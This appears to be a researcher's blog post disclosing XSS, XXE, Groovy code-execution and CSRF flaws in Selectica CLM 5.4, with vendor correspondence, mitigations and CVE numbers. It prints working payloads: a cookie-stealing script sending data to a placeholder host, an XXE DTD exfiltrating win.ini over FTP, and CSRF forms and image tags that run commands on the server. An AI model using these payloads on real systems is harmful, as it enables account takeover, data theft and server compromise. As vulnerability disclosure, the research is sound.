Recently I discovered multiple high severity vulnerabilities in Selectica Contract Lifecycle Management (SCLM) version 5.4. 

Cross-site Scripting (XSS)

There was no shortage of XSS in this app.  Here’s an example from a light scan with Burp Suite:

This is pretty easy to leverage for account takeover, even more so because the HTTPOnly flag was not set on the session cookie.

All you need to do is feed your victim a payload such as:

<script type="text/javascript">
document.location='http://x.x.x.x/?c='+document.cookie;
</script>

Run an netcat listener and receive the session cookie:
$ nc -l 80

GET /?c={REMOVED}%20JSESSIONID=3CDD9A0B61E1518E6E84AB3FEC286D99; HTTP/1.1
Host: 192.168.2.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive

Copy the cookie into your DOM, navigate to the site, and you have full account take over.  Easy peazy.

XML External Entity Injection (XXE)

This one is a little less exciting because it requires admin, but worth mentioning none the less.

The definition_upload_attach.jsp endpoint has an “XML_Template_1_Text” parameter, which allows for XML data to be transmitted to the server. The server’s XML settings allow for external XML entities to be called upon, which as a consequence, leads to data exfiltration and exposure. The server response does not return data other than a success or failure message; however, data can be retrieved out-of-band by using a remotely hosted document type definition (DTD) file.

As a proof-of-concept, I hosted a DTD file on a remote server, which contained the following content to retrieve the application server’s “win.ini” file:
$ cat ev.xml 

<!ENTITY % data SYSTEM "file://C://Windows/win.ini">

<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://x.x.x.x:2121/%data;'>">

When the application server parses this crafted XML, it will retrieve and parse the “ev.xml” file, and it will be forced to send the requested data (the “win.ini” file contents) to the FTP server indicated in the hosted DTD file. During testing, it was determined that it was not possible to retrieve data over HTTP, so FTP was chosen as an alternative protocol.

POST /definition_upload_attach.jsp HTTP/1.1

Host: x.x.x.174:8080

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:70.0) Gecko/20100101 Firefox/70.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=---------------------------6973111068894968631140109674

Content-Length: 502

Origin: http://x.x.x.x:8080

Connection: close

Referer: http://x.x.x.x:8080/definition_upload_attach.jsp

Cookie: JSESSIONID=BF36FDD2AF70E1401AE0FDB02427770C; Locale=en_US

Upgrade-Insecure-Requests: 1

-----------------------------6973111068894968631140109674

Content-Disposition: form-data; name="XML_Template_1_Text"; filename="test.xml"

Content-Type: text/xml



<?xml version="1.0" ?>

<!DOCTYPE r [

<!ELEMENT r ANY >

<!ENTITY % sp SYSTEM "http://x.x.x.x:8089/ev.xml">

%sp;

%param1;

]>

<r>&exfil;</r>




-----------------------------6973111068894968631140109674

Content-Disposition: form-data; name="submit_ButtonOK"




OK

-----------------------------6973111068894968631140109674--

$ python -m SimpleHTTPServer 8089

Serving HTTP on 0.0.0.0 port 8089 ...

x.x.x.x - - [21/Nov/2019 21:44:31] "GET /ev.xml HTTP/1.1" 200 -

The  server connected to the web server to retrieve the DTD file, and once it had parsed it, the server connected over FTP to send the contents of win.ini.
$ python -m pyftpdlib

[I 2019-11-21 22:00:47] >>> starting FTP server on 0.0.0.0:2121, pid=28372 <<<

[I 2019-11-21 22:00:47] concurrency model: async

[I 2019-11-21 22:00:47] masquerade (NAT) address: None

[I 2019-11-21 22:00:47] passive ports: None

[I 2019-11-21 22:01:21] x.x.x.x:43754-[] FTP session opened (connect)

[I 2019-11-21 22:01:21] x.x.x.x:43754-[anonymous] USER 'anonymous' logged in.

[I 2019-11-21 22:01:22] x.x.x.x:43754-[anonymous] CWD /root/; for 16-bit app support
[fonts]

[extensions]

[mci extensions]

[files]

[Mail]

MAPI=1

As you can see, the contents of wini.ini are sent over FTP.

Authenticated Code Execution

Ok, now here is the good stuff.  By default, any application user can achieve code execution on the server.  You don’t have to be admin.  The reason this happens is because all privilege roles are by default granted the “Can View and Run Reports” permission.

For example, take the “Contract Viewer” role.  This is the least privileged role in the application, yet as you see from the screenshot below, they still have permission to view and run reports.

To run a report, simple click the “Reports” tab in the top right from the home screen.

Once on the reports page, click the “Create” button.

After opening a new report, click “Use Scripted Condition” all the way on the right.

Once you have the script console, select “Groovy” from the drop-down menu.

Now if you are a frequent reader of my blog (Compromising Jenkins and extracting credentials) or have been hacking for more than a minute, you are probably aware of the raw power that a Groovy shell can grant. Without getting into the weeds, Groovy is basically a scripting language that gets complied and executed as Java. With this comes the ability to execute shell commands.

Here is a simple example of executing calc.exe on a Windows server:

Of course as an attacker you can replace that with anything, such as a command to download and execute payload.

Cross-site Request Forgery (CSRF) -> Remote Code Execution (RCE)

We know now that any user can shell the server, but what if we were unable to discover any user passwords?  There is also CSRF.  I first stripped down the POST request to execute the groovy code:

POST /report_edit.jsp?scmrpt=200&nav=NavigationDef:/Reports/Templates/ HTTP/1.1
Host: x.x.x.x:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 173
Origin: http://x.x.x.x:8080
Connection: close
Referer: http://x.x.x.x:8080/report_edit.jsp?scmrpt=200&nav=NavigationDef:/Reports/Templates/
Cookie: {REMOVED}
Upgrade-Insecure-Requests: 1
DNT: 1

RepCategory_ListStr=None&langList=Groovy&condition_Text=%22C%3A%5C%5CWindows%5C%5CSystem32%5C%5Ccalc.exe%22.execute%28%29%3B%0D%0A&SecSortFieldAscDes=&runReport_ButtonOK=Run

One way to get the user to execute this payload is by using a Burp suite generated CSRF payload like the one below:

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://x.x.x.x:8080/report_edit.jsp?scmrpt=200&nav=NavigationDef:/Reports/Templates/" method="POST">
<input type="hidden" name="RepCategory&#95;ListStr" value="None" />
<input type="hidden" name="langList" value="Groovy" />
<input type="hidden" name="condition&#95;Text" value="&quot;C&#58;&#92;&#92;Windows&#92;&#92;System32&#92;&#92;calc&#46;exe&quot;&#46;execute&#40;&#41;&#59;&#13;&#10;" />
<input type="hidden" name="SecSortFieldAscDes" value="" />
<input type="hidden" name="runReport&#95;ButtonOK" value="Run" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

This would require that you cause the victim to browse to your malicious page, which would then execute a POST request.  While this is pretty effective, we can make it even easier by just passing all of the POST parameters in a GET request like so:

http://x.x.x.x:8080/report_edit.jsp?scmrpt=200&nav=NavigationDef:/Reports/Templates/&RepCategory_ListStr=None&langList=Groovy&condition_Text=%22C%3A%5C%5CWindows%5C%5CSystem32%5C%5Ccalc.exe%22.execute%28%29%3B%0D%0A&SecSortFieldAscDes=&runReport_ButtonOK=Run

This is preferred, as now we can get a victim to execute the payload simple by rendering an image tag like this:

 <img src="http://192.168.2.160:8080/report_edit.jsp?scmrpt=200&nav=NavigationDef:/Reports/Templates/&RepCategory_ListStr=None&langList=Groovy&condition_Text=%22C%3A%5C%5CWindows%5C%5CSystem32%5C%5Ccalc.exe%22.execute%28%29%3B%0D%0A&SecSortFieldAscDes=&runReport_ButtonOK=Run">

If the victim attempts to load the image while authenticated, the payload will execute.

Disclosure

After finding these vulnerabilities I reached out to Determine (The creators of SCLM) and let them know that I had discovered multiple critical vulnerabilities in their software. A transcript can be found below:

Hello,

My name is Esteban Rodriguez.  I am a security researcher and information security consultant.  Recently while testing a client, I came across an install of Selectica CLM.  During my work with that client, I discovered many security vulnerabilities in the product.  I would like to make Determine/Selectica aware of these vulnerabilities, so that an update or patch may be issued to protect current users of the software.
I intend to follow the Google’s Project Zero guidelines for vulnerability disclosure as documented here:  https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-faq.html
Please let me know where I can send technical details, so that the relevant teams may become aware of the security issues.
If you have any further questions for me, feel free to email me and I would be happy to explain further.
Thank you for your time,
Esteban Rodriguez

They asked what version this was for, and I responded that it was for version 5.4.  They then responded:

The current CLM software version is 6.11 that have passed penetration and security vulnerabilities.  We have encouraged all customers to upgrade or migrate to DCP platform.

I responded back:

Thank you for your response.

Is 6.11 a paid upgrade?  If so, would you like the details of the vulnerability so that a patch can be made available for 5.4 and below?
They responded:
Yes 6.11 is a paid upgrade.
We have communicated a while back that 5.4 or below is on support as is with no further software patches/updates.
Because this software is not open source, and I did not have any copy of the software other than 5.4, I was unable to verify if these vulnerabilities were also present in the latest version of the software.
Update: I was later able to confirm that none these vulnerabilities were fixed, and at the time of this writing all version are exploitable.

Mitigation

If your organization uses this software, you can perform the following actions to mitigate some of the risk from these vulnerabilities:

  • Migrate to a software platform that provides continuous security support.  While this is likely the most costly option, it is important that any software you run in your organization is not end of life.
  • Upgrade to version 6.11.  This has an unknown cost, however according to Determine this version has gone through some form of penetration test. It is unknown however if these specific vulnerabilities have been addressed. Vulnerabilities confirmed to still be present.
  • Remove the “Can View and Run Reports” permission for all roles.  While this may impact workflow, it is necessary to secure the application.
  • Do not expose the application to the internet. If possible, make the application available only from your internal network.

 

Reserved CVEs:
CVE-2019-20153 (XXE)
CVE-2019-20154 (XSS)
CVE-2019-20155 (RCE)

Bonus finding:

It is also possible to dump the application users by visiting:

http://target/import_csv.jsp?csv=users

Unlike most of the the files in the web root, this file does not include:

<%@ include file="/inc/check_loggedin.jsp" %>

to see if the user is authenticated.  This information would be very useful for password spraying.